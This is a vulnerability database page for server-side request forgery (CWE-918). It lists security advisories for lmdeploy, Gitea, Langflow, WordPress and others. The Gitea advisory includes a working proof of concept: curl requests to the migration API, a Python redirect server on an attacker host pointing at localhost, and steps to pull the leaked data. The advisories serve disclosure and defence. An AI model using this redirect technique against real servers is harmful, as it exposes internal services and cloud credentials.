CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5695 vulnerabilities reference this CWE, most recent first.
GHSA-RQHF-RG9P-W5GG
Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-23 18:30lmdeploy's OpenAI-compatible API server contains a server-side request forgery vulnerability that allows unauthenticated attackers to access internal services and cloud metadata endpoints by supplying a crafted image_url that redirects to internal targets. Attackers can send a POST request to the chat completions endpoint with an image_url pointing to an attacker-controlled server that responds with an HTTP 302 redirect to internal addresses such as loopback or instance-metadata endpoints, bypassing the initial URL safety check because redirects are followed without re-validating each hop through the safety guard.
{
"affected": [],
"aliases": [
"CVE-2026-63764"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T21:16:53Z",
"severity": "CRITICAL"
},
"details": "lmdeploy\u0027s OpenAI-compatible API server contains a server-side request forgery vulnerability that allows unauthenticated attackers to access internal services and cloud metadata endpoints by supplying a crafted image_url that redirects to internal targets. Attackers can send a POST request to the chat completions endpoint with an image_url pointing to an attacker-controlled server that responds with an HTTP 302 redirect to internal addresses such as loopback or instance-metadata endpoints, bypassing the initial URL safety check because redirects are followed without re-validating each hop through the safety guard.",
"id": "GHSA-rqhf-rg9p-w5gg",
"modified": "2026-07-23T18:30:56Z",
"published": "2026-07-21T21:32:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63764"
},
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/issues/4761"
},
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/pull/4734"
},
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/commit/03c313006d17cc3feae86b633c44206a997c44db"
},
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/lmdeploy-server-side-request-forgery-via-http-redirect-bypass"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/lmdeploy-server-side-request-forgery-via-http-redirect-bypass-of-private-ip-guard-in-vision-image-fetch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RQHX-647V-WX32
Vulnerability from github – Published: 2026-07-21 20:33 – Updated: 2026-07-21 20:33Summary
Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.
Affected Version
Gitea 1.25.4 (latest stable at time of writing), default configuration.
Prerequisites
- A regular Gitea user account (no admin privileges required)
- An attacker-controlled server reachable from the internet that serves HTTP 302 redirects
Reproduction
Environment
| Role | Location | Network |
|---|---|---|
| Attacker | Any machine with internet access | External network (VLAN A) |
| Gitea Server | Windows 11 VM, Gitea 1.25.4, default config, SQLite | Internal network (VLAN B) |
| Internal service | Same VM, bound to 127.0.0.1:18082 |
Localhost only |
| Redirect server | Attacker-controlled public server, port 18080 | Internet |
The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.
Step 1: Create an attacker account on Gitea
Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under Settings > Applications with the repo: write scope. The migration endpoint requires this because it creates a new repository. This token is referenced as <USER_TOKEN> in the steps below.
Step 2: Set up an internal service on the Gitea host
On the Gitea VM, create a bare Git repository that simulates an internal service:
mkdir C:\internal-repo
cd C:\internal-repo
git init
echo CONFIDENTIAL_DATA_2025 > secret.txt
git add .
git commit -m "internal confidential"
git clone --bare . C:\internal.git
cd C:\internal.git
git update-server-info
python -m http.server 18082 --bind 127.0.0.1
This serves a Git repository on localhost port 18082. It is not reachable from outside the machine.
Step 3: Confirm Gitea blocks direct access to internal addresses
From the attacker machine:
curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
-H "Authorization: token <USER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/",
"repo_name": "direct-test",
"service": "git"
}'
Response:
{"message":"You can not import from disallowed hosts."}
This confirms that Gitea correctly blocks migration from internal addresses when provided directly.
Step 4: Set up a redirect server
On an attacker-controlled public server, run a script that redirects all requests to the internal service:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
path = self.path
if path.startswith("/repo.git"):
path = path[len("/repo.git"):]
target = f"http://127.0.0.1:18082{path}"
self.send_response(302)
self.send_header("Location", target)
self.end_headers()
print(f"[+] Redirected {self.path} -> {target}")
do_HEAD = do_GET
HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever()
Step 5: Exploit the redirect bypass
From the attacker machine:
curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
-H "Authorization: token <USER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git",
"repo_name": "exfil-test",
"service": "git",
"private": true
}'
Response: HTTP 201 Created. The migration succeeds.
Step 6: Retrieve the exfiltrated data
From the attacker machine:
git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git
cat exfil-test/secret.txt
Output:
CONFIDENTIAL_DATA_2025
The attacker now has the contents of the internal repository that was only accessible on localhost.
What happens during the attack
- The attacker sends a migration request pointing to their public server.
- Gitea validates the URL. The destination is a public IP, so it passes the check.
- Gitea contacts the attacker's server to clone the repository.
- The attacker's server responds with
302 Location: http://127.0.0.1:18082/... - Gitea follows the redirect to
127.0.0.1without validating the new destination. - The internal service responds and Gitea stores the result as a new repository owned by the attacker.
- The attacker clones their newly created repository and reads the internal data.
Impact
Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:
- Internal Git repositories or other version control systems not exposed to the internet
- Cloud metadata endpoints (
169.254.169.254) which serve temporary credentials on AWS, GCP, and Azure - Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks
- Other services within the same network segment that trust connections from the Gitea server
The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.
Suggested Fix
Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.26.3"
},
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58418"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:33:52Z",
"nvd_published_at": "2026-07-03T21:17:05Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nGitea 1.25.4 validates the initial URL provided to the repository migration endpoint (`POST /api/v1/repos/migrate`) and correctly blocks requests to internal addresses like `127.0.0.1` or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.\n\n## Affected Version\n\nGitea 1.25.4 (latest stable at time of writing), default configuration.\n\n## Prerequisites\n\n1. A regular Gitea user account (no admin privileges required)\n2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects\n\n## Reproduction\n\n### Environment\n\n| Role | Location | Network |\n|------------------|----------------------------------------------------------------|------------------------------------------|\n| Attacker | Any machine with internet access | External network (VLAN A) |\n| Gitea Server | Windows 11 VM, Gitea 1.25.4, default config, SQLite | Internal network (VLAN B) |\n| Internal service | Same VM, bound to `127.0.0.1:18082` | Localhost only |\n| Redirect server | Attacker-controlled public server, port 18080 | Internet |\n\nThe attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.\n\n### Step 1: Create an attacker account on Gitea\n\nRegister a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under **Settings \u003e Applications** with the `repo: write` scope. The migration endpoint requires this because it creates a new repository. This token is referenced as `\u003cUSER_TOKEN\u003e` in the steps below.\n\n### Step 2: Set up an internal service on the Gitea host\n\nOn the Gitea VM, create a bare Git repository that simulates an internal service:\n\n```bash\nmkdir C:\\internal-repo\ncd C:\\internal-repo\ngit init\necho CONFIDENTIAL_DATA_2025 \u003e secret.txt\ngit add .\ngit commit -m \"internal confidential\"\ngit clone --bare . C:\\internal.git\ncd C:\\internal.git\ngit update-server-info\npython -m http.server 18082 --bind 127.0.0.1\n```\n\nThis serves a Git repository on localhost port 18082. It is not reachable from outside the machine.\n\n### Step 3: Confirm Gitea blocks direct access to internal addresses\n\nFrom the attacker machine:\n\n```bash\ncurl -X POST http://\u003cGITEA_SERVER\u003e:3000/api/v1/repos/migrate \\\n -H \"Authorization: token \u003cUSER_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"clone_addr\": \"http://127.0.0.1:18082/\",\n \"repo_name\": \"direct-test\",\n \"service\": \"git\"\n }\u0027\n```\n\nResponse:\n\n```json\n{\"message\":\"You can not import from disallowed hosts.\"}\n```\n\nThis confirms that Gitea correctly blocks migration from internal addresses when provided directly.\n\n### Step 4: Set up a redirect server\n\nOn an attacker-controlled public server, run a script that redirects all requests to the internal service:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n path = self.path\n if path.startswith(\"/repo.git\"):\n path = path[len(\"/repo.git\"):]\n target = f\"http://127.0.0.1:18082{path}\"\n self.send_response(302)\n self.send_header(\"Location\", target)\n self.end_headers()\n print(f\"[+] Redirected {self.path} -\u003e {target}\")\n\n do_HEAD = do_GET\n\nHTTPServer((\"0.0.0.0\", 18080), RedirectHandler).serve_forever()\n```\n\n### Step 5: Exploit the redirect bypass\n\nFrom the attacker machine:\n\n```bash\ncurl -X POST http://\u003cGITEA_SERVER\u003e:3000/api/v1/repos/migrate \\\n -H \"Authorization: token \u003cUSER_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"clone_addr\": \"http://\u003cATTACKER_SERVER\u003e:18080/repo.git\",\n \"repo_name\": \"exfil-test\",\n \"service\": \"git\",\n \"private\": true\n }\u0027\n```\n\nResponse: **HTTP 201 Created**. The migration succeeds.\n\n### Step 6: Retrieve the exfiltrated data\n\nFrom the attacker machine:\n\n```bash\ngit clone http://attacker:password@\u003cGITEA_SERVER\u003e:3000/attacker/exfil-test.git\ncat exfil-test/secret.txt\n```\n\nOutput:\n\n```text\nCONFIDENTIAL_DATA_2025\n```\n\nThe attacker now has the contents of the internal repository that was only accessible on localhost.\n\n## What happens during the attack\n\n1. The attacker sends a migration request pointing to their public server.\n2. Gitea validates the URL. The destination is a public IP, so it passes the check.\n3. Gitea contacts the attacker\u0027s server to clone the repository.\n4. The attacker\u0027s server responds with `302 Location: http://127.0.0.1:18082/...`\n5. Gitea follows the redirect to `127.0.0.1` without validating the new destination.\n6. The internal service responds and Gitea stores the result as a new repository owned by the attacker.\n7. The attacker clones their newly created repository and reads the internal data.\n\n## Impact\n\nAny authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:\n\n1. Internal Git repositories or other version control systems not exposed to the internet\n2. Cloud metadata endpoints (`169.254.169.254`) which serve temporary credentials on AWS, GCP, and Azure\n3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks\n4. Other services within the same network segment that trust connections from the Gitea server\n\nThe full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.\n\n## Suggested Fix\n\nValidate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.",
"id": "GHSA-rqhx-647v-wx32",
"modified": "2026-07-21T20:33:52Z",
"published": "2026-07-21T20:33:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rqhx-647v-wx32"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58418"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38108"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/9e84deb969aff5c1115c2984e41250f28c78451f"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: SSRF via HTTP Redirect in Repository Migration"
}
GHSA-RQJV-PX3W-V3W6
Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31IBM Langflow OSS 1.0.0 through 1.9.6 contains a Server-Side Request Forgery (SSRF). The legacy RSSReaderComponent in rss.py and SearXNG component in searxng.py make unvalidated HTTP requests to user-controlled URLs, bypassing SSRF protections introduced in version 1.9.3. An authenticated attacker can exploit this to access internal resources including cloud metadata services (AWS/Azure/GCP IMDS), potentially exfiltrating IAM credentials and enumerating internal networks. The vulnerability can also be triggered through prompt injection in agentic workflows due to tool_mode=True exposure.
{
"affected": [],
"aliases": [
"CVE-2026-10564"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T20:17:27Z",
"severity": "HIGH"
},
"details": "IBM Langflow OSS 1.0.0 through 1.9.6 contains a Server-Side Request Forgery (SSRF). The legacy RSSReaderComponent in rss.py and SearXNG component in searxng.py make unvalidated HTTP requests to user-controlled URLs, bypassing SSRF protections introduced in version 1.9.3. An authenticated attacker can exploit this to access internal resources including cloud metadata services (AWS/Azure/GCP IMDS), potentially exfiltrating IAM credentials and enumerating internal networks. The vulnerability can also be triggered through prompt injection in agentic workflows due to tool_mode=True exposure.",
"id": "GHSA-rqjv-px3w-v3w6",
"modified": "2026-06-30T21:31:44Z",
"published": "2026-06-30T21:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10564"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7277995"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQM6-JMG2-PGR4
Vulnerability from github – Published: 2025-11-06 06:31 – Updated: 2025-11-06 06:31The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 8.6.0 via the getFullContent() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-12560"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T06:15:44Z",
"severity": "MODERATE"
},
"details": "The Blog2Social: Social Media Auto Post \u0026 Scheduler plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 8.6.0 via the getFullContent() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-rqm6-jmg2-pgr4",
"modified": "2025-11-06T06:31:00Z",
"published": "2025-11-06T06:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12560"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3389636/blog2social"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2ea06520-d7a9-49bb-812e-2fa2e50d0ec2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQMP-494M-8QGF
Vulnerability from github – Published: 2026-03-29 18:30 – Updated: 2026-03-29 18:30A Server-Side Request Forgery (SSRF) vulnerability exists in parisneo/lollms versions prior to 2.2.0, specifically in the /api/files/export-content endpoint. The _download_image_to_temp() function in backend/routers/files.py fails to validate user-controlled URLs, allowing attackers to make arbitrary HTTP requests to internal services and cloud metadata endpoints. This vulnerability can lead to internal network access, cloud metadata access, information disclosure, port scanning, and potentially remote code execution.
{
"affected": [],
"aliases": [
"CVE-2026-0560"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-29T18:16:14Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in parisneo/lollms versions prior to 2.2.0, specifically in the `/api/files/export-content` endpoint. The `_download_image_to_temp()` function in `backend/routers/files.py` fails to validate user-controlled URLs, allowing attackers to make arbitrary HTTP requests to internal services and cloud metadata endpoints. This vulnerability can lead to internal network access, cloud metadata access, information disclosure, port scanning, and potentially remote code execution.",
"id": "GHSA-rqmp-494m-8qgf",
"modified": "2026-03-29T18:30:20Z",
"published": "2026-03-29T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0560"
},
{
"type": "WEB",
"url": "https://github.com/parisneo/lollms/commit/76a54f0df2df8a5b254aa627d487b5dc939a0263"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/65e43a5e-b902-4369-b738-1825285a3ea5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQR2-9JM2-2Q9J
Vulnerability from github – Published: 2026-07-21 00:30 – Updated: 2026-07-21 00:30AVideo versions from commit 0dbadbca through latest master contain a server-side request forgery vulnerability in the encoder download-by-URL flow due to an unpinned retry fallback that bypasses DNS pinning validation. An authenticated attacker can supply a downloadURL that redirects to an internal address, causing the unpinned retry to follow the redirect and reach internal targets for blind SSRF attacks.
{
"affected": [],
"aliases": [
"CVE-2026-64626"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T22:17:18Z",
"severity": "MODERATE"
},
"details": "AVideo versions from commit 0dbadbca through latest master contain a server-side request forgery vulnerability in the encoder download-by-URL flow due to an unpinned retry fallback that bypasses DNS pinning validation. An authenticated attacker can supply a downloadURL that redirects to an internal address, causing the unpinned retry to follow the redirect and reach internal targets for blind SSRF attacks.",
"id": "GHSA-rqr2-9jm2-2q9j",
"modified": "2026-07-21T00:30:30Z",
"published": "2026-07-21T00:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-fr98-mjq9-7jmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64626"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/0dbadbcaaa1b415c7db078a72dc4b26d9fac0485"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/avideo-encoder-downloadurl-ssrf-via-unpinned-retry-fallback"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RR33-J5P5-PPF8
Vulnerability from github – Published: 2022-05-03 00:00 – Updated: 2022-05-18 19:10GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows SSRF via the option for setting a proxy host.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-main"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.18.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-main"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"last_affected": "2.19.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-40822"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-18T19:10:33Z",
"nvd_published_at": "2022-05-02T00:15:00Z",
"severity": "HIGH"
},
"details": "GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows SSRF via the option for setting a proxy host.",
"id": "GHSA-rr33-j5p5-ppf8",
"modified": "2022-05-18T19:10:33Z",
"published": "2022-05-03T00:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40822"
},
{
"type": "PACKAGE",
"url": "https://github.com/geoserver/geoserver"
},
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3"
},
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/releases"
},
{
"type": "WEB",
"url": "https://osgeo-org.atlassian.net/browse/GEOS-10229"
},
{
"type": "WEB",
"url": "https://osgeo-org.atlassian.net/browse/GEOS-10229?focusedCommentId=83508"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "GeoServer allows SSRF via the option for setting a proxy host"
}
GHSA-RRCF-FXFM-G3VR
Vulnerability from github – Published: 2023-11-13 03:30 – Updated: 2026-04-28 21:33Server-Side Request Forgery (SSRF) vulnerability in StylemixThemes Motors – Car Dealer, Classifieds & Listing.This issue affects Motors – Car Dealer, Classifieds & Listing: from n/a through 1.4.6.
{
"affected": [],
"aliases": [
"CVE-2023-46207"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-13T03:15:09Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in StylemixThemes Motors \u2013 Car Dealer, Classifieds \u0026 Listing.This issue affects Motors \u2013 Car Dealer, Classifieds \u0026 Listing: from n/a through 1.4.6.",
"id": "GHSA-rrcf-fxfm-g3vr",
"modified": "2026-04-28T21:33:07Z",
"published": "2023-11-13T03:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46207"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/motors-car-dealership-classified-listings/wordpress-motors-car-dealer-classifieds-listing-plugin-1-4-6-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RRJM-X5M6-Q2PG
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2023-02-04 00:30WordPress before 5.2.4 has a Server Side Request Forgery (SSRF) vulnerability because URL validation does not consider the interpretation of a name as a series of hex characters.
{
"affected": [],
"aliases": [
"CVE-2019-17669"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-17T13:15:00Z",
"severity": "CRITICAL"
},
"details": "WordPress before 5.2.4 has a Server Side Request Forgery (SSRF) vulnerability because URL validation does not consider the interpretation of a name as a series of hex characters.",
"id": "GHSA-rrjm-x5m6-q2pg",
"modified": "2023-02-04T00:30:38Z",
"published": "2022-05-24T16:59:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17669"
},
{
"type": "WEB",
"url": "https://github.com/WordPress/WordPress/commit/608d39faed63ea212b6c6cdf9fe2bef92e2120ea"
},
{
"type": "WEB",
"url": "https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html"
},
{
"type": "WEB",
"url": "https://core.trac.wordpress.org/changeset/46475"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/11/msg00000.html"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2020/Jan/8"
},
{
"type": "WEB",
"url": "https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/9912"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4599"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4677"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RRQ3-H776-PMXG
Vulnerability from github – Published: 2026-09-07 18:31 – Updated: 2026-09-07 18:31A vulnerability was found in java-json-tools jackson-coreutils 2.0. Affected by this issue is the function JsonLoader.fromURL of the file src/main/java/com/github/fge/jackson/JsonLoader.java of the component URL Validation. The manipulation results in server-side request forgery. It is possible to launch the attack remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-86321"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-07T16:17:30Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in java-json-tools jackson-coreutils 2.0. Affected by this issue is the function JsonLoader.fromURL of the file src/main/java/com/github/fge/jackson/JsonLoader.java of the component URL Validation. The manipulation results in server-side request forgery. It is possible to launch the attack remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-rrq3-h776-pmxg",
"modified": "2026-09-07T18:31:31Z",
"published": "2026-09-07T18:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86321"
},
{
"type": "WEB",
"url": "https://github.com/java-json-tools/jackson-coreutils/issues/64"
},
{
"type": "WEB",
"url": "https://github.com/java-json-tools/jackson-coreutils"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-86321"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/908323"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/399511"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/399511/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.